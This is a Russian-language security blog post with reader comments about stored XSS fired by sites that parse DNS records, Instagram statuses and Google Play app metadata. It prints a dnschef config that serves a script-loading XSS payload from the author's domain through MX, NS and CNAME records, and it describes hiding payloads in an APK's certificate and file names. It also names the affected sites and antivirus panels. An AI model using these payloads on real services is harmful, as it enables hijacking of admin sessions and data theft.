Привет! Хочу рассказать о нескольких случаях, когда ресурсы сами собирали данные, но некорректно их обрабатывали. Причём в некоторых случаях, данные представлены в безопасном виде, но за счет парсинга и дальнейшей обработки когда-то безопасная строка превращается в атакующий вектор. На серьезность статьи не претендую, все забавы ради, как в старые — добрые времена 🙂
XSS и DNS
Если загуглить XSS via DNS, то ты найдешь несколько статей на эту тему, когда в качестве TXT записи отдается атакующий вектор.
Но создать TXT запись можно в любой хостинг-панели и XSS там висит с времен создания блога 🙂
А почему никто не вспомнил про другие виды записей, скажем, CNAME или NS? Но для того, чтобы вернуть в качестве доменов атакующие вектора, можно создать собственный NS-сервер.
Отличным решением было использование dnschef. Я взял поддомен hack.bo0om.ru (можно было любой свой домен), в качестве name server’а указал собственный ip. Всё.
Теперь мы рулим настройками, которые в dnschef.ini, поэтому пишем туда:
[MX]
*.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
[NS]
*.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
[CNAME]
*.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
Теперь, если ресурс берет данные из DNS и помещает на страницу — есть вероятность, что про фильтрацию пользовательских данных он забыл.
Примеры, где работает XSS:
- who.is
- robtex.com
- dnsqueries.com
- reg.ru (исправили)
- etc 🙂
XSS и Instagram
Забавы ради я как-то добавил XSS в статус инстаграма. Ничего в этом такого нет, но стоит заметить, что сам вектор атаки был безопасен (на странице instagram).
Но по логам — начали срабатывать XSS’ки на различных доменах, это были парсеры соцсети и какие-то аналитические сервисы. Вот пример доменов:
- findgram.me
- imgrab.com
- instagy.com
- iconosquare.com
- tofo.me
- photo.sh
- gramosphere.com
Часть из них баги уже исправили, но то что было в логах — пусть будет тут 🙂
XSS и Google Play
Недавно постучал @Black2Fan и спрашивает, а есть ли у меня android приложение с XSS в Google Play :D?
А что, можно было? А давай сделаем! Где-нибудь да и стрельнет (а вдруг где-то у googl’а).
Итак, был сгенерирован сертификат, подписывающий приложение, только вместо имени разработчика и прочих данных — XSS
Были разложены файлы с «заначками», и файлы, путь из которых формирует валидный тег, подгружающий скрипт с моего домена.
Напомню, что в именах файлов можно использовать спецсимволы (в linux), кому интересно — гляньте папку assets.
Но вот беда, чтобы внедрить свой скрипт в имя, нужно домен покороче, ибо ограничение в 30 символов. Под рукой короткого домена, естественно, небыло. Если все одно-двусимвольные домены уже зарегистрированны — еще не все потеряно. В современных интернетах уже давно используются punycode, и регистрировать такие домены можно, и в настоящий момент заняты не все смайлики 🙂
Например, последовательность xn--g3h дает . Вот я и зарегистрировал домен — .ws (4 символа включая точку).
Приложение пока доступно ТУТ, но в любой момент его могут удалить 🙂
В первую очередь отстук пришёл с парсеров приложений, больше всего трафика с данных доменов:
- apkpure.com
- allfreeapk.com
- appbrain.com
- appszoom.com
- downloadatoz.com
Помимо этого, всякие сканеры приложений, декомпиляторы apk, ну и всякое по мелочи.
Один из примеров — HackApp, который ищет уязвимости в мобильных приложениях. Тем временем, приложение нашло уязвимость в нём 🙂
Но самое забавное — после того, как приложение было отправлено на virustotal, XSS сработали в панелях антивирусных компаний.
- Поддомен Qihoo 360 — создатели антивируса 360 Total Security
- Поддомен Antiy Labs — создатели антивируса AVL (красивая панелька, интеграция с Jira)
Обе панели на PHP, и обе компании из Китая, большая часть данных экранируется, но где-то да и проскочет вектор, который отправил «снимок экрана» мне на сервер. Не bugbounty, но все же забавно.
Еще одно замечание, в зависимости от перевода — в описание приложения проходит тег , попробуй что-нибудь с этим сделать, а вдруг
Вместо заключения
Нужно больше золота забавных исследований. XSS-ки всегда будут актуальны, тем более это легко. Может ты знаешь ещё забавные места и вектора, кидай ссылки, если некуда писать — пиши на telegra.ph (с картинками) и кинь в комменты.
Ура, бум снова жжёт) А я уж думал блог умер.
Привет , очень понравилась статья, но не очень понятен шаг создаем, можешь объяснить , как именно создаем , где и в чем?
Огромное спасибо за ранее
Это конфиг dnschef.ini, в нем можно контролировать что будет отдавать днс сервер на запрос. Вот тут я подробнее рассказывал
https://xakep.ru/2016/11/11/dns-resolve/
🙂